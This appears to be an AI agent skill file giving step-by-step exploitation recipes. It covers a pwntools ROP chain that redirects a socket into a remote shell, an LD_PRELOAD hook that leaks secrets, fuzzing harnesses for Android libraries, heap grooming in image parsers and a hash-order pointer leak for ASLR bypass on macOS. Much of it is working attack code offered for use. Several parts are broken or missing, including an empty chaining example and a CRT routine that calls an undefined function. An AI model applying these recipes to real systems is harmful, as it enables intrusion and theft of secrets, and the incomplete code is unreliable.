| name | common-exploitation-techniques |
| description | How to apply common exploitation patterns including FD duplication for remote shells, socat/pty escape handling, Android shared-library fuzzing with LD_PRELOAD hooking, image parser exploitation, and pointer-keyed hash table pointer leaks. Use this skill whenever the user mentions exploitation, remote shells, socket exploitation, Android fuzzing, shared library analysis, LD_PRELOAD, image format parsing, ASLR bypass, pointer leaks, or any binary exploitation scenario. |
Common Exploitation Techniques
This skill covers practical exploitation patterns that appear frequently in real-world scenarios. Each section provides actionable guidance with working examples.
FD Duplication for Remote Shell Interaction
When to use
When exploiting a remote service that spawns a shell (e.g., system('/bin/sh')) but you cannot interact with it because stdin/stdout are not connected to your socket.
The problem
When a server process executes system('/bin/sh'), the shell expects:
- stdin (FD 0): for input
- stdout (FD 1): for output
- stderr (FD 2): for errors
If these aren't connected to your attacker socket, you get a non-interactive shell.
The solution
Use dup2() to redirect stdin/stdout to the socket FD. When a server accepts a connection, it typically:
- Creates a listening socket (FD 3)
- Accepts your connection (FD 4)
Redirect FD 0 and 1 to FD 4:
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Finding the correct FD
If you're unsure which FD the socket uses:
- Check the server's
accept() call - the returned FD is your target
- Use
strace on the server to see FD allocation
- Try common values: 3, 4, 5 (after stdin/stdout/stderr)
Socat & PTY Escape Character Handling
When to use
When using socat with PTY mode and your exploit contains \x7f (DELETE character).
The problem
Socat in PTY mode interprets \x7f as a backspace/delete character, which corrupts your exploit payload.
The solution
Prepend the escape character \x16 before any \x7f in your payload:
payload = payload.replace(b'\x7f', b'\x16\x7f')
Alternative
Use socat without PTY mode if possible:
socat TCP-LISTEN:9001,reuseaddr,fork EXEC:"./vuln"
socat TCP-LISTEN:9001,reuseaddr,fork EXEC:"./vuln",pty
Android AArch64 Shared Library Fuzzing
When to use
When you have a stripped AArch64 .so file from an Android app and need to fuzz exported functions without rebuilding the APK.
Workflow
Step 1: Locate callable entry points
objdump -T libvalidate.so | grep -E "validate|check|verify"
Use Ghidra/IDA to determine function signatures:
int validate(const uint8_t *buf, uint64_t len);
Step 2: Write a standalone harness
Create harness.c:
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
extern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) {
if (argc < 2) return 1;
int fd = open(argv[1], O_RDONLY);
if (fd < 0) return 1;
struct stat st = {0};
if (fstat(fd, &st) < 0) return 1;
uint8_t *buffer = malloc(st.st_size + 1);
read(fd, buffer, st.st_size);
close(fd);
int ret = validate(buffer, st.st_size);
free(buffer);
return ret;
}
Cross-compile with NDK:
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie -o harness
Step 3: Bypass anti-debug with LD_PRELOAD
If the .so imports snprintf and contains secrets:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "FLAG{")) {
fprintf(stdout, "[LEAK] ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
Compile and run:
gcc -shared -fPIC -o hook.so hook.c -ldl
LD_PRELOAD=./hook.so ./harness payload.json
Step 4: Create AFL harness for targeted fuzzing
If you've identified the exact bytes to fuzz:
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
extern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
char json[512];
int len = snprintf(json, sizeof(json),
"{\"magic\":16909060,\"flag\":\"FLAG{827b07c%s}\"}",
blob);
validate((unsigned char *)json, len);
return 0;
}
Run AFL:
afl-cc -o afl_harness afl_harness.c
afl-fuzz -i input_dir -o output_dir ./afl_harness
Image/Media Parser Exploitation
When to use
When analyzing image formats (DNG, TIFF, JPEG) that contain embedded bytecode or metadata that controls parsing behavior.
Common attack vectors
1. Opcode-based formats
Some formats ship with bytecode interpreters:
- DNG: tone curves, map tables
- TIFF: IFD entries with custom tags
- JPEG: APP segments with proprietary data
2. Bounds-check bypasses
Look for:
- Metadata-derived dimensions not validated
- Plane indices from untrusted data
- Array sizes from file headers
3. Heap grooming
Malicious opcodes can:
- Allocate specific sizes to control heap layout
- Free objects to create controlled holes
- Spray the heap with attacker data
Example: Chaining vulnerabilities
from pwn import *
Pointer-Keyed Hash Table Pointer Leaks
When to use
When a service deserializes attacker-controlled property lists and re-serializes them, particularly on macOS/iOS with NSKeyedUnarchiver.
The vulnerability
Before March 2025, CFNull/NSNull used pointer address as hash:
CFHash(object) == (uintptr_t)object
The singleton kCFNull lives at a fixed shared-cache address, making its hash stable across processes.
Attack workflow
Step 1: Craft input plist
Create dictionaries with controlled bucket patterns:
Step 2: Send to victim
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
Step 3: Extract residues from response
The serialized key order reveals bucket indices:
Step 4: Apply Chinese Remainder Theorem
def crt(residues, moduli):
"""Solve system of congruences using CRT"""
from math import gcd
result = 0
product = 1
for m in moduli:
product *= m
for r, m in zip(residues, moduli):
p = product // m
result += r * p * extended_gcd(p, m)[1]
return result % product
pointer = crt(residues, moduli)
print(f"Leaked pointer: {hex(pointer)}")
Why this works
NSDictionary uses CFBasicHash with prime bucket counts
- Serialization walks buckets in numeric order
- Key order in output encodes bucket indices
- No memory corruption needed - just observation
Quick Reference
| Technique | Key Function | Typical Use Case |
|---|
| FD Duplication | dup2(fd, 0), dup2(fd, 1) | Remote shell interaction |
| Socat Escape | Prepend \x16 to \x7f | PTY-based exploits |
| LD_PRELOAD Hook | dlsym(RTLD_NEXT, "func") | Anti-debug bypass, secret leakage |
| AFL Fuzzing | read(STDIN_FILENO, ...) | Targeted binary fuzzing |
| CRT Pointer Leak | Extended Euclidean Algorithm | ASLR bypass on macOS |
Related Resources